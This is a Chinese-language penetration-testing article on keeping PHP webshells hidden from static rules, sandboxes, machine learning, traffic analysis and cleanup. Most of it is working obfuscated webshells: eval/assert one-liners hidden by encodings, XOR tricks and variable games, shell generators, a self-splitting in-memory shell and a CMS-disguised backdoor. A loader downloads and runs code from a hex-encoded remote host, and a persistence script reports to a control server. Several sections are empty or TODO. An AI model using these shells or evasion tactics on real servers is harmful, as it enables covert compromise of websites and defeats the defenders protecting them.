webshell多维度对抗策略
[Penetration Testing]
导读
本文从以下五个方面讨论现有的webshell查杀解决方案,并给出实例分析(样本来源于公开数据)及针对性对抗方案。
- 对抗静态规则
- 对抗动态分析
- 对抗机器学习
- 对抗流量分析
- 对抗处罚策略
Part 1. 对抗文本规则
代码审计即寻找连接输入和输出的通路,webshell的检测逻辑也是如此,在这个流程中我们可以在"输入"、"运算"、"输出"这三个点寻找突破。即选择生僻的输入和输出点,同时加以混淆度高的运算,通过自动化fuzz或手动尝试,最终找到规则没有覆盖到的通路。
1.1 常规案例
例1: 一句话木马——常规输入输出,无运算过程
<?php eval($_GET[1]);?>
例2: 生僻输入
利用filter_input
隐藏输入点逃逸规则。(过D盾2.0.9 / 20180102)
<?php
system(filter_input(INPUT_GET,'c'));
?>
连接方式为
http://127.0.0.1:8080/shell.php?c=system&d=ls
例3: 生僻输出
使用array_diff_ukey
触发命令执行,该输出点规则系统或无法覆盖。
<?php
array_diff_ukey(@array($_GET['cmd']=>1),@array('user'=>2),'system');
?>
例4: 隐藏输入——常规编码
利用编码隐藏输入点,降低守方的数据维度。静态的规则系统无法准确判断被加密的内容是否为恶意,只能根据编码函数和输出点进行大致推断。
<?php
eval(gzinflate(base64_decode('Sy1LzNFQiQ/wDw6JVq8qLc5IzUtXj9W0BgA=')));
?>
例5: 隐藏输入——自定义编码
该运算过程相比php内置的编码函数而言隐蔽性更强,更易绕过规则系统。
<?php
function encode($string) {
$result = '';
for ($index = 0;$index < strlen($string);$index += 1)
$result .= chr(ord($string[$index]) + 3);
return $result;
}
function decode($string) {
$result = '';
for ($index = 0;$index < strlen($string);$index += 1)
$result .= chr(ord($string[$index]) - 3);
return $result;
}
$a = '_GET';
$b = $$a;
$a = decode('dvvhuw');
call_user_func(decode('dvvhuw'),'$code=function() { '.$b['code'].'}');
?>
例6: 隐藏输入——加密
例7: 隐藏输入——自定义HTTP头
例8:隐藏输入——变量运算
同样是隐藏输入点的手段
<?php $f8b='eahKl_O\'76v5$fC(iIE2ste26752';if(isset(${$f8b[5].$f8b[14].$f8b[6].$f8b[6].$f8b[3].$f8b[17].$f8b[18]}[$f8b[2].$f8b[0].$f8b[19].$f8b[9].$f8b[8].$f8b[11].$f8b[19]])){eval(${$f8b[5].$f8b[14].$f8b[6].$f8b[6].$f8b[3].$f8b[17].$f8b[18]}[$f8b[2].$f8b[0].$f8b[19].$f8b[9].$f8b[8].$f8b[11].$f8b[19]]);} ?>
例9:隐藏输入输出——字符运算
利用字符运算隐藏输入点,同时使用了动态调用作为输出点。
<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]);
例10: 生僻输入+隐藏输入——外部输入
<?php
error_reporting(0);
session_start();
header("Content-type:text/html;charset=utf-8");if(empty($_SESSION['api']))
$_SESSION['api']=substr(file_get_contents(
sprintf('%s?%s',pack("H*",
'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649);
@preg_replace("~(.*)~ies",gzuncompress($_SESSION['api']),null);
?>
这里是先字符串运算得到黑客的文件服务器地址。
sprintf('%s?%s',pack("H*",'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())
解密出的地址如下。
http://7shell.googlecode.com/svn/make.jpg?53280b00f1e85
然后通过file_get_contents
从远端下载回代码,最终输出点利用preg_replace
执行代码,隐蔽性很强。
Part 2. 对抗动态检测
这里我们的对抗目标包括但不限于沙箱、基于语法/语义分析的代码审计工具、污点跟踪、旁路运算、符号执行等分析方法。
2.1 输入输出点分析
- RIPS源码分析 TODO
2.2 规则总是可被绕过的
PHP沙箱的常见落地方式是利用zend提供的接口编写扩展对高危函数进行hook,获得传入该函数的真实参数,从而解决前文中提到的"利用字符运算和编码隐藏输入点"的逃逸手段。
- 无论是PHP层(RASP)还是C层(PHP扩展)采集的数据,其结果如依靠规则进行过滤,就仍有操作空间。
2.3 上传生成器
- 该方法适用于 已经绕过了目标的静态文本规则,但是被动态引擎查杀 的情况。
将webshell源码预置到一段静态字符串中,每次访问时向文件系统中写入一个新的webshell。这种策略虽然生成的webshell容易被杀,但生成器隐蔽性高。
从行为角度来看,生成器仅完成了将一段内容写入本地文件的操作,与许多正常功能无异。如果查杀引擎想要准确识别这种"生成器",需要对静态字符串中的内容进行解析,然后将匹配到<?php
标签的文本递归动态执行。
例9: 简单生成器
<?php file_put_contents('moon.php',$a.'<?php eval($_POST[x]);echo mOon;?>');?>
实际情况中对静态字符串的检验大多还是规则,因此可以使用上文提到的混淆手段生成webshell,然后在将其包装到一个"生成器"中。如果你的混淆方法可以绕过目标的静态文本规则,那么生成器被检出的概率不大。
例10: 带有混淆的生成器
<?php fputs (fopen(pack("H*","6c6f7374776f6c662e706870"),"w"),pack("H*","3c3f406576616c28245f504f53545b6c6f7374776f6c665d293f3e"))?>
2.4 动态的未知——用户输入
无论是沙箱还是旁路执行(一种检测webshell思路是重写php的函数或复用php底层代码,对样本进行词法分析后在旁路进行计算,相当于动态解决了编码和字符操作问题),都无法获取用户输入,这里一种策略是将undefined变量看做污点继续向下跟踪。
针对此类case可以考虑首先将变量进行无害的初始化,然后用变量覆盖的思路偷梁换柱。
如下例,D盾对一个undefined
变量报毒,原因显示"未知内容":
放开第一行的注释,给$code
变量一个定义,不报毒:
使用extract做变量覆盖,告警级别降低为1,原因显示"可疑eval":
2.5 利用性能瓶颈——分支爆炸
针对符号执行、旁路运算的检测方案。因其并未动态执行,当遇到分支或循环时,受限于性能,将根据预设的处理策略向下计算,此时我们可根据这一策略制定出对抗方案。
- 如果程序预设为"每个分支都走一遍"时,可以嵌套构造多个if/swith结构,挑战其复杂度上限。
- 如果程序预设为"每个循环只走一遍"时,可以构造依赖N次循环的位运算函数,进行自定义加解密。
2.6 利用性能瓶颈——跨文件
我们在做代码审计时,使用RIPS扫描一个CMS往往需要数分钟甚至更久。而真实环境中的存储和运算成本都是受到限制的,webshell查杀产品无法接受这个成本,因而会主动施加一些限制条件,这一弱点也可为我所用。
- 出于性能考虑,大部分旁路分析方法是不会跟进
include
的,我们可以利用这个弱点,让webshell运行时"自分裂",然后通过include
关联到一起。
例8: 自分裂型webshell
<?php
$cfg_ml='PD9waHAgQGV2YWwoJF9QT1NUWydndWlnZSddKT8+';
$cfg_ml = base64_decode($cfg_ml);
$t = md5(mt_rand(1,100));
$f=$_SERVER['DOCUMENT_ROOT'].'/data/sessions/sess_'.$t;
@file_put_contents($f,$cfg_ml);
if(!file_exists($f))
{
$f=$t;
@file_put_contents($f,$cfg_ml);
}
if(!file_exists($f))
{
$f=$_SERVER['DOCUMENT_ROOT'].'/a/'.$t;
@file_put_contents($f,$cfg_ml);
}
if(!file_exists($f))
{
$f=$_SERVER['DOCUMENT_ROOT'].'/'.$t;
@file_put_contents($f,$cfg_ml);
}
if(!file_exists($f))
{
$f='/tmp/'.$t;
@file_put_contents($f,$cfg_ml);
}
@include($f);
@unlink($f);
?>
变量$cfg_ml
解码后是一句话木马
<?php @eval($_POST['guige'])?>
接下来脚本依次尝试了向四个路径写入一句话木马,通过include连接之后,再将该木马文件删除。真正的恶意代码在内存中,不会暴露给动态查杀引擎。
2.7 传统沙箱对抗策略
- TODO
2.8 利用框架接口/CMS内置函数/模板处理函数进行伪装
牺牲一定通用性,仅针对一种框架或CMS生成高隐蔽性的webshell。因其依赖了框架或CMS内置函数,对动态查杀的挑战性很高。
例10: 调用框架接口
<?php
require("../../inc/header.php");
/*
SoftName : EmpireBak Version 2010
Author : wm_chief
Copyright: Powered by www.phome.net
*/
DoSetDbChar('gbk');
E_D("DROP TABLE IF EXISTS `dede_mytag`;");
E_C("CREATE TABLE `dede_mytag` (
`aid` mediumint(8) unsigned NOT NULL AUTO_INCREMENT,
`typeid` smallint(5) unsigned NOT NULL DEFAULT '0',
`tagname` varchar(30) NOT NULL DEFAULT '',
`timeset` smallint(6) NOT NULL DEFAULT '0',
`starttime` int(10) unsigned NOT NULL DEFAULT '0',
`endtime` int(10) unsigned NOT NULL DEFAULT '0',
`normbody` text,
`expbody` text,
PRIMARY KEY (`aid`),
KEY `tagname` (`tagname`,`typeid`,`timeset`,`endtime`,`starttime`)
) ENGINE=MyISAM AUTO_INCREMENT=19016 DEFAULT CHARSET=gbk");
E_D("replace into `dede_mytag` values('3117','0','','0','0','0','{dede:php}file_put_contents(''mybak.php'',''<?php eval(\$_POST[mybak]);?>'');{/dede:php}',NULL);");
E_D("replace into `dede_mytag` values('2143','0','','0','0','0','{dede:php}file_put_contents(''hkmke.php'',''hkmke<?php eval(\$_POST[hkmke]);?>'');{/dede:php}',NULL);");
require("../../inc/footer.php");
?>
Part 3. 对抗机器学习
3.1 基线污染方法
3.2 超参数
3.3 利用tokenize长度限制
3.4 特征伪造
- 主机文件mata信息
- 弃用加密编码
- 利用白样本变种
- opcode构造
Part 4. 对抗流量分析
流量侧分析方案主要如下: 1. 基于固定通信特征的文本匹配/分类 2. 基于整站流量拓扑/历史基线的异常检测 3. 利用同源webshell通信的相似性做结果扩展或聚类
4.1 流量侧规则
某些爬虫类方案将主动探索未被触发的页面,并采下response数据加以分析,此种方法并不高效,但某些同源的webshell仍在响应中表现出明显特征,如:
>||<
流量侧“障眼法”一例:
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /404 was not found on this server.</p>
</body></html>
<?php $p=base64_decode("bW93YW5n");$i['j']='assert';$a[]=$i;@$a[0]['j']($_POST[$p]);$filename = $php_self=substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1);function set_writeable($file_name){if(@chmod($file_name,0444)){echo "OK";}else{echo "no";}}set_writeable($filename);?>
由于webshell内容可控,理论上只需在代码中实现一套解密算法对流量解密,即可绕过全部流量侧规则。
4.2 警惕一致性
事实上,随着同源webshell的植入数量增长,访问者、请求特征、响应特征的一致性会对其隐蔽性造成毁灭性影响。
如IP_1连接了10个IP,在这10组通信流量的HTTP参数特征、HTTP响应特征高度一致,且IP_1已有入侵记录或受害IP已被检出高危行为时,我们有理由判定这些通信是恶意的。
- 避免从远程文件服务器拉取代码。
4.3 重放型安全扫描
重放类检测产品会将疑似webshell的流量进行重放二次确认。
此处我们要解的问题是:如何在流量全透明的情况下,保证webshell只有自己可用。
以下是CTF竞赛中关于防止自己的马被别人骑的解决方案。
- TODO
4.4 逃离HTTP协议
针对HTTP协议的异常及威胁检测已经日渐成熟。从流量分析类产品角度来讲,针对其他协议/全端口TCP/UDP流量的采集、存储和计算成本都很高。因此我们在victim植入的webshell(client)可用非HTTP协议与server端通信,该策略可有效提高防守方成本。
Part 5. 对抗处罚策略
5.1 障眼法
\r
为ASCII控制字符 如果一个文件中存在控制字符\r
那么如果在终端中cat
的时候就会控制光标移动到行首
<?php eval($_GET[1]);?>\r<?php phpinfo()?>
5.2 初级持久化
<?php
$PageNum=5;
$isRoot="123";
$myname="c"."k";
$ControlUrl="http://dd.jc2018.pw";
//创建文件夹
function createFolder($path){
if (!file_exists($path)){
createFolder(dirname($path));
mkdir($path, 0777,true);
}
}
function getUrlContent($url) {
$content = @file_get_contents($url);
return $content;
}
//创建文件写入内容
function CreateFile($filename,$content){
$index=fopen($filename,"w");
fwrite($index,$content);
fclose($index);
}
function MyReadFile($file){
$handle=fopen($file,"r");
$con=fread($handle,filesize($file));
fclose($handle);
return $con;
}
$webRoot=$_SERVER['DOCUMENT_ROOT'];
//是否生成过并且不是主目录
if((is_file("content.php")) and ($isRoot!=$myname)){
include_once("content.php");
exit();
}
//随机文件夹
$Uri=trim(str_ireplace("index.php","",$_SERVER['REQUEST_URI']));
for($i=1;$i<=$PageNum;$i++){
$randMath=rand(1,13000);
$Urls="";
if($isRoot==$myname){ //如果是主目录,则在当前目录下建目录,否则在上级目录下建目录
$OtherDir=$randMath;
$Urls="http://".$_SERVER['HTTP_HOST'].$Uri.$randMath."/";
echo "<a href='".$Urls."' target='_blank'>".$Urls."</a></br>";
}else{
$OtherDir="../".$randMath;
$Urls="http://".$_SERVER['HTTP_HOST'].dirname($Uri)."/".$randMath."/";
}
$con=MyReadFile("index.php");
$con=str_ireplace("123","123",$con);
createFolder($OtherDir); //创建文件夹
CreateFile($OtherDir."/index.php",$con);
getUrlContent($ControlUrl."/SaveUrl.php?url=".$Urls);
}
if($isRoot!=$myname){ //如果不是主目录
$NowUrl="http://".$_SERVER['HTTP_HOST'].$Uri;
$web="http://".$_SERVER['HTTP_HOST'];
$GetUrl=$ControlUrl."/GetInfo.php?url=".$NowUrl;
echo $FileCon=getUrlContent($ControlUrl."/GetCon.php?url=".$NowUrl."&web=".$web);
if( $FileCon != null ){
CreateFile("content.php",$FileCon);
}
}
?>